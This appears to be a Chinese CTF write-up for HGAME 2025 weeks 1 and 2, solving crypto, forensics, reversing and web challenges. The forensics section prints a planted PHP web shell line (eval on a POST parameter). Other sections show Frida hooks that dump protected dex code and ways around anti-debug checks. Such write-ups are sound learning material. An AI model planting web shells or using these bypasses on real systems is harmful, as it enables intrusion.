一转眼已经到2025年了,其实2024年年末还参加了一些比赛(比如长城杯,DASCTF什么的),但是打的都不太好,怕丢人就不发wp了()
2025,新年新的开始,望自己在新的一年能多AK少爆零()
赛题轮次:Week 1
Crypto方向:
suprimeRSA:
这题貌似有两个版本,我是在第一个版本做的,看了一会没什么思路,再看公钥n只有六十多位,于是用了个耍赖的方法:(或许是因为纯按数学方法做这个题很困难,暴力破解反而拿下了一血)
yafu暴力分解n得到p和q:
1 | P48 = 796688410951167236263039235508020180383351898113 |
解密得到flag:hgame{ROCA_ROCK_and_ROll!}.
Misc方向:
Hakuya Want A Girl Friend:
打开txt发现是每个字节的ASCII,010editor转成文件后发现了一个zip文件和一个所有字节全都倒过来的png文件,png文件的宽高不正确,修改宽高后得到zip文件的密码To_f1nd_th3_QQ,解压后得到flag:hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}(前面的hgame反了).
Computer cleaner:
打开虚拟机后搜索/var/www/html路径下的.php文件,找到两个:
1 | vidar@vidar-computer:~$ find /var/www/html -name "*.php" |
查询grep指令得到flag的第1部分:
1 | vidar@vidar-computer:~$ grep -r "eval(" /var/www/html |
在浏览文件时在documents
文件夹中找到了flag_part3
文件,为flag的最后一部分:_c0mput3r!}
查看两个php:
upload.php:
1 |
|
shell.php:
1 | eval($\_POST['hgame{y0u\_']); @ |
查看/var/www/html
路径下的所有文件:
1 | vidar@vidar-computer:~$ ls /var/www/html/ |
查看这些文件的内容:
1 | vidar@vidar-computer:~$ cat /var/www/html/index.html |
1 |
|
1 | vidar@vidar-computer:~$ cat /var/www/html/upload\_log.txt(这里也能看出来flag的第三部分的上传记录) |
1 | 121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET / HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" |
访问121.41.34.25
,得到flag的第二部分:
1 | Are you looking for me |
拼合得到flag:hgame{y0u_hav3_cleaned_th3_c0mput3r!}.
Reverse方向:
Compress dot new:
脚本中compress函数首先通过bf函数计算字符频率,然后使用h函数生成霍夫曼树,接着用gc函数对霍夫曼树进行编码,最后用enc函数将输入的二进制数据按照霍夫曼编码表转换为字符串输出,编写python脚本:
1 | import json |
得到flag:hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}.
Turtle:
查壳发现了魔改UPX,发现不仅UPX头改了,0x25字节的自加密数据也全抹光了,直接x64dbg+Scylla手脱UPX,之后ida分析,找到main函数:
1 | __int64 sub_401876() |
先看key的部分:先用密钥yekyek
作为RC4的KSA部分生成S盒,然后加密输入值,之后再与Buf2密文进行比较,这里Buf2为[0xCD, 0x8F, 0x25, 0x3D, 0xE1, Q, J],解密得到[0x65, 0x63, 0x67, 0x34, 0x61, 0x62, 0x36],即key为ecg4ab6
,接着查看flag,发现flag所用的PRGA部分略有不同,不过仅仅是改为了减号,则解密函数只需改成加号,又有flag密文为[0xf8, 0xd5, 0x62, 0xcf, 0x43, 0xba, 0xc2, 0x23, 0x15, 0x4a, 0x51, 0x10, 0x27, 0x10, 0xb1, 0xcf, 0xc4, 0x9, 0xfe, 0xe3, 0x9f, 0x49, 0x87, 0xea, 0x59, 0xc2, 0x7, 0x3b, 0xa9, 0x11, 0xc1, 0xbc, 0xfd, 0x4b, 0x57, 0xc4, 0x7e, 0xd0, 0xaa, 0xa],解得flag为:hgame{Y0u’r3_re4l1y_g3t_0Ut_of_th3_upX!}.
解题脚本:
1 | def rc4_ksa(key): |
Delta Erro0000ors:
观察主函数:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
异常处理的部分没有反编译成C语言代码,汇编如下:
1 | .text:000000014000134B ; --------------------------------------------------------------------------- |
推导出整个流程为:先加载msdelta.dll,然后提示输入43位的flag,只有flag符合格式要求才继续执行,否则直接输出great,继续执行时会调用ApplyDeltaB
这个函数,然后一定会调用不成功,进入异常处理部分,要求输入一个md5,输入后如果能够让ApplyDeltaB成功执行则比较flag(unk_140003438
,[0x3B, 0x02, 0x17, 0x08, 0x0B, 0x5B, 0x4A, 0x52, 0x4D, 0x11, 0x11, 0x4B, 0x5C, 0x43, 0x0A, 0x13, 0x54, 0x12, 0x46, 0x44, 0x53, 0x59, 0x41, 0x11, 0x0C, 0x18, 0x17, 0x37, 0x30, 0x48, 0x15, 0x07, 0x5A, 0x46, 0x15, 0x54, 0x1B, 0x10, 0x43, 0x40, 0x5F, 0x45, 0x5A]),否则输出“你没有抓住机会”,动态调试发现第一次尝试ApplyDeltaB时在其中的ApplyDeltaA引发错误,将IDA报错机制改为日志输出,不暂停程序并默认程序继续执行,可以跳出其他dll的处理部分,进入main的异常处理部分,检测到错误信号为0xD(无效补丁),解析msdelta.dll的pdb,可能是ApplyDeltaA的ApplyFlags、InputBuffer(源于source)或Delta被传入了错误的值,分析并动态调试第一次调用,可以注意到传入的ApplyFlags为0,Source为36字节的输入值,Delta为一个69字节的数据块:
1 | [0x50, 0x41, 0x33, 0x30, 0x30, 0x0B, 0xD0, 0x45, 0x74, 0x6C, 0xDB, 0x01, 0x18, 0x23, 0xC8, 0x81, 0x03, 0x80, 0x42, 0x00, |
,结合下文要求输入md5,推测就是这16个字节导致了ApplyDelta报错,而新输入的md5则会覆盖掉这一部分,如果覆盖之后能正常执行就进入比较flag阶段,查询msdelta的补丁结构(链接1,链接2),应用脚本得到如下补丁信息:
1 | [+] FileTypeSet : 0x1 |
在动态调试到ApplyDeltaA时反编译,注意到其中有一个函数compo::PullcapiContext::GetHash(v6, &a2->TargetHash);
,就是获取目标哈希(补丁中的哈希)的函数,在其执行结束后查看返回值v22,可以得到和上面脚本一样的信息,提示输入md5后再次断在这里可以发现targethash被改成了输入值,即证明这里输入哈希确实是为了能让ApplyDelta正常执行,在其中目标哈希的位置下断点,运行直到触发断点,却发现哈希值还没有经过任何读取比较就已经被覆盖了,失去头绪,回头观察main中的flag比较过程,推测只有一个简单的异或,补丁打在输入的flag上,经过异或后和密文进行比较,动态调试过程中观察到一个可疑的字符串“Seven says you’re right!!!!,0”:
直接拿密文异或这个字符串,得到flag:hgame{934b1236-a124-4150-967c-cb4ff5bcc900}.
尊嘟假嘟:
Jadx反编译,先查看zundu和jiadu类:
1 | public void onViewCreated(View view, Bundle savedInstanceState) { |
结合实际运行发现是一个切换“尊嘟”(0.o)与“假嘟”(o.0)的页面,点击图片会弹出toast消息,会从零开始不断将“0.o”与“o.0”填入一个字符串,当这个字符串长度大于等于36时(即输入次数大于12)再次点击图片会将字符串替换成The length is too large,但由于还是小于36长度所以可以继续向后再追加4次点击,再观察toast类:
1 | package com.nobody.zunjia; |
发现所给的toast是经过改动的,字符串并不仅仅是显示在屏幕上,而是先传给了Dexcall
类,结合反编译的values中的string.txt可以得到func1是encode,则字符串会以某种方式编码,之后进行check,查看来源于DexCall类中加载的libcheck.so,观察libcheck.so中的sub_1100(check)函数:
1 | unsigned __int64 __fastcall sub_1100(__int64 a1, __int64 a2, __int64 a3, __int64 a4) |
观察发现加密方式是典型的RC4加密,密文也已知,为[0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30, 0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83, 0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD, 0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B, 0x46, 0x5E, 0x95],但密钥却未知,结合java层的功能和对check的调用,猜测程序的目的是通过点击图片来生成的string对密文进行解密并输出日志,没有明显的判断对错的结构,遍历0.o、o.0和The length is too large开头的长度36位以内的密钥却没有得到任何一组可打印字符的明文,考虑是对字符串进行了某种处理,此外,启动adb查看logcat日志时发现,点击图片后输出的日志中的result是经过了base64加密的,且还是换表base64,所有字符串都以3结尾,至此得到大致的程序逻辑:通过点击图片产生的密钥,经过某种处理后用作RC4的密钥对密文进行加密,再经过未知的换表base64输出加密结果,查看Dexcall类:
1 | package com.nobody.zunjia; |
结合values中的string.xml,callDexMethod方法将尝试从zunjia.dex文件中加载com.nobody.zundujiadu
类,并查找名为 encode
的方法,使用传入的字符串 s 作为参数调用该方法,并将结果返回,但却没有找到encode方法,查看zunjia.dex发现居然是未知二进制文件,没有检测到dex格式,查看libzunjia.so,列出所有关键函数:
1 | sub_0FF0 .text 0000000000000FF0 0000025A 000000B8 R . . . . . B T . |
其中sub_15E0
、sub_2110
和sub_0FF0
、sub_1FF0
是两组相近的函数(第一组是静态分析看上去被调用的函数),查看其中的加载方法(最后一个函数):
1 | __int64 __fastcall Java_com_nobody_zunjia_DexCall_copyDexFromAssets( |
查看加密函数sub_2110以及一个相似的版本sub_1FF0:
1 | unsigned __int64 __fastcall sub_2110(__int64 a1, int a2, __int64 a3, int a4) |
1 | unsigned __int64 __fastcall sub_1FF0(__int64 a1, int a2, __int64 a3, int a4) |
其中sub_2110所对应的加密过程会在sub_1E60陷入死循环(有一个while v12>1但却没有更新v12的循环),而sub_1FF0则没有这一步骤,并且sub_1FF0也没有任何xref,猜测可能存在反调试,sub_1FF0即为正确的加密,由于复现这个加密过于麻烦,直接使用frida
动调,在DexCall方法delete掉解密的zunjia.dex前dump这个dex:
1 | import frida |
1 | Java.perform(function() { |
1 | def main(target_process): |
运行后点击图片获得转储出来的dex文件,反编译查看encode方法:
1 | package com.nobody; |
找到了这个自定义base64表:3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5,同时还发现了一个简单异或加密,测试发现是把生成的base64字符串带入和上文所给的密文进行RC4解密,构造python脚本实现相同效果,并爆破枚举0.o与o.0构成的字符串:
1 | import base64 |
查找txt中的hgame,得到密钥与flag:
1 | Original: o.00.oo.00.oo.0o.00.o0.o0.o0.o0.oo.0 |
则flag为hgame{4af153b9-ed3e-420b-978c-eeff72318b49}.
Web:
Level 24 Pacman:
在index.js找到两个base64:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==和aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=,分别对应haepaiemkspretgm{rtc_ae_efc}和haeu4epca_4trgm{_r_amnmse},解栅栏密码得到hgame{pratice_makes_perfect}和hgame{u_4re_pacman_m4ster},其中第二个是flag.
赛题轮次:Week 2
Crypto方向:
Ancient Recall:
观察发现是随机抽取塔罗牌,然后对其代表的索引进行相邻加和(也就是对于a、b、c、d、e,新的数组是a+b、b+c、c+d、d+e、e+a),加和了250次后输出,然后找到对应的索引输出新的名字,写出脚本:
1 | def wheel(FATE): |
输出原来的牌组索引:[-19, -20, 20, -15, 41],其中负数的是因为在生成时加入了re-
的前缀,并且异或了-1
,则原来的值是[18, 19, 20, 14, 41],其中第1、2、4张牌是re-前缀的,找到这些索引对应的牌名,拼凑起来得到flag:
hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}.
Reverse方向:
Signin:
反编译观察主函数:
1 | int __fastcall main_0(int argc, const char **argv, const char **envp) |
观察sub_7FF7034714D3所指向的函数:
1 | __int64 __fastcall sub_7FF703478820(__int64 a1, __int64 a2, __int64 a3) |
则sub_7FF7034716EF应该是加密函数,密文为a0:[0x23, 0xEA, 0x50, 0x30, 0x00, 0x4C, 0x51, 0x47, 0xEE, 0x9C, 0x76, 0x2B, 0xD5, 0xE6, 0x94, 0x17, 0xED, 0x2B, 0xE4, 0xB3, 0xCB, 0x36, 0xD5, 0x61, 0xC0, 0xC2, 0xA0, 0x7C, 0xFE, 0x67, 0xD7, 0x5E, 0xAF, 0xE0, 0x79, 0xC5],密钥为dword_7FF70352B2A0:[0x97A25FB5, 0x93E1C763, 0xA143464A, 0x5A8F284F],观察加密函数:
1 | __int64 __fastcall sub_7FF703478E70(_DWORD *a1, __int64 a2, __int64 a3) |
发现是XXTEA,重构加密函数:
1 | for v8 in range(11,0,-1): |
运行发现结果相同,写出逆向解密函数:
1 | for v8 in range(1,12): |
带入密文解密得到的却是乱码,检查带入的key(a2),发现a2的数值是动态的,查找a2的xref研究a2的生成过程:
1 | __int64 __fastcall sub_7FF69C8D8670(__int64 a1, __int64 a2, __int64 a3) |
其中这两个函数涉及到了密钥的产生,查看这两个函数:
1 | __int64 __fastcall sub_7FF69C8D88D0(__int64 a1, __int64 a2, __int64 a3) |
发现第一个函数生成了一个256项的CRC32查找表,再看第二个函数:
1 | __int64 __fastcall sub_7FF69C8D8760(__int64 a1, unsigned __int64 a2, __int64 a3) |
发现这个函数是用于计算CRC32校验值的,结合刚才的函数:
1 | v4 = (char *)j_j_j__malloc_base(0x10000ui64); |
发现是将程序从main开始的0x10000
字节内所有函数的机器码复制到v4,密钥实际上是v4的每个四分之一(大小0x4000)的CRC32校验值,多次调试控制变量后发现key与所下的断点有关(因为断点改变了函数的机器码),将全部断点取消后执行到key赋值完毕,将v4的0x10000字节dump出来,和原有的进行对比,验证了上述复制机器码的猜想后,将全部0x10000字节覆盖为原有的机器码,手动求出CRC32值,得到key:[0x97A25FB5, 0xE1756DBA, 0xA143464A, 0x5A8F284F],带入解密脚本解密:
1 | import struct |
输出flag明文的十六进制:0x34656633, 0x63323237, 0x6264312d, 0x33342d66, 0x382d3762, 0x2d393536, 0x34633163, 0x34653061, 0x64346532,按小端序转成flag:hgame{3fe4722c-1dbf-43b7-8659-c1c4a0e42e4d}.
Mysterious signals:
查看mainactivity:
1 | package com.nobody.andsign; |
发现输入端口号后按下按钮会把admin、hello和端口号传给SSSign类中的方法a,查看该类:
1 | package com.nobody.andsign; |
发现是把三个字符串“104406435e045957”和“035e0f545e045957”以及“165e045f”用本地方法c解密后构造成POST请求后发给服务器,并从服务器返回传回的文本,查看本地方法c:
1 | __int64 __fastcall Java_com_nobody_andsign_SSSign_c(__int64 a1, __int64 a2, __int64 a3) |
查看解密函数:
1 | __int64 __fastcall sub_18740(__int64 a1) |
1 | unsigned __int64 __fastcall sub_18F20(__int64 a1) |
发现sub_18740构造了一个40字节的数组a1,并设置其值为“e7c10e42b7a68e14\x00 | 0123456789abcdef\x00 | 0x00 | 0x00 | 0x44 | 0x33 | 0x22 | 0x11”,且检测到frida时修改了最后4字节的值,再查看第二个函数:
1 | __int64 __fastcall sub_187A0(__int64 a1, __int64 a2, int a3) |
1 | _BYTE *__fastcall sub_19120(__int64 a1, __int64 a2, int a3) |
发现这个加密实际上是用sub_19120将带入的字符串每两个字符拼成一个字节,然后再循环异或a1的前16个字符“e7c10e42b7a68e14”(每个字符以utf-8的方式异或,而不是两两拼成字节),将三个字符串“104406435e045957”和“035e0f545e045957”以及“165e045f”分别带入得到username
、filename
和sign
,但是sign的代入值是b方法处理的str1+str2,在so库中并没有找到同名方法,经过推测,应该是以下这些函数:
1 | __int64 __fastcall sub_18870(__int64 a1, __int64 a2, __int64 a3) |
1 | __int64 __fastcall sub_18990(__int64 a1, __int64 a2, int a3) |
1 | __int64 __fastcall sub_18BB0(__int64 a1, __int64 a2) |
1 | _DWORD *__fastcall sub_18C80(__int64 a1, __int64 a2, __int64 a3, int a4) |
1 | _BYTE *__fastcall sub_18E20(__int64 a1, __int64 a2, int a3) |
逐个分析b方法的加密过程,首先和上面的解密方法c使用了同样的密钥材料a,然后先在sub_18BB0用了一个三层嵌套的函数处理40字节的密钥材料a的前16字节,用后4字节循环256次处理前16字节,生成了64个dword作为后续加密的密钥,接着将输入的明文的每个字节重映射到S盒对应索引的对应字节值,然后再用TEA加密,加密的时候32轮一共带入64个dword,最终将加密结果的十六进制拆成两个字符并转为字符串然后输出,再查看附带的serve(远程服务端)的可执行文件中的decrypt函数,可以确定上述加密就是b方法对于明文的加密,用加密脚本加密adminhello(安卓程序中构造的sign请求头的值str1+str2),填充\x00至16字节,得到加密结果“41dce78c58dacf99cbbc2f1c20135745”,开启服务器,python构造请求脚本或启动程序按下按钮,发现都返回了同一串文本“4b181fd6f8b852a9e23a4a7776e5f6905b71341af8f194a5db07d2902d2655401322e1c9a1a90e0d8676809c08484762”,猜测是flag的密文,编写解密脚本解得flag:hgame{7be75491-2329-403b-9829-a8f042dd3ba0}.
模拟安卓程序的请求脚本:
1 | import requests |
输出结果:
1 | 200 |
加解密脚本:
1 | def bytes_to_dwords_little_endian(byte_array): |
注:第一周的时候看到很多全栈大佬,以为自己拿不到奖了,且第二周题目明显变难,于是只交了第一周的wp,第二周没交,结果没想到ban了一大堆人,只凭第一周的得分也上榜了,看来以后还是得积极交wp()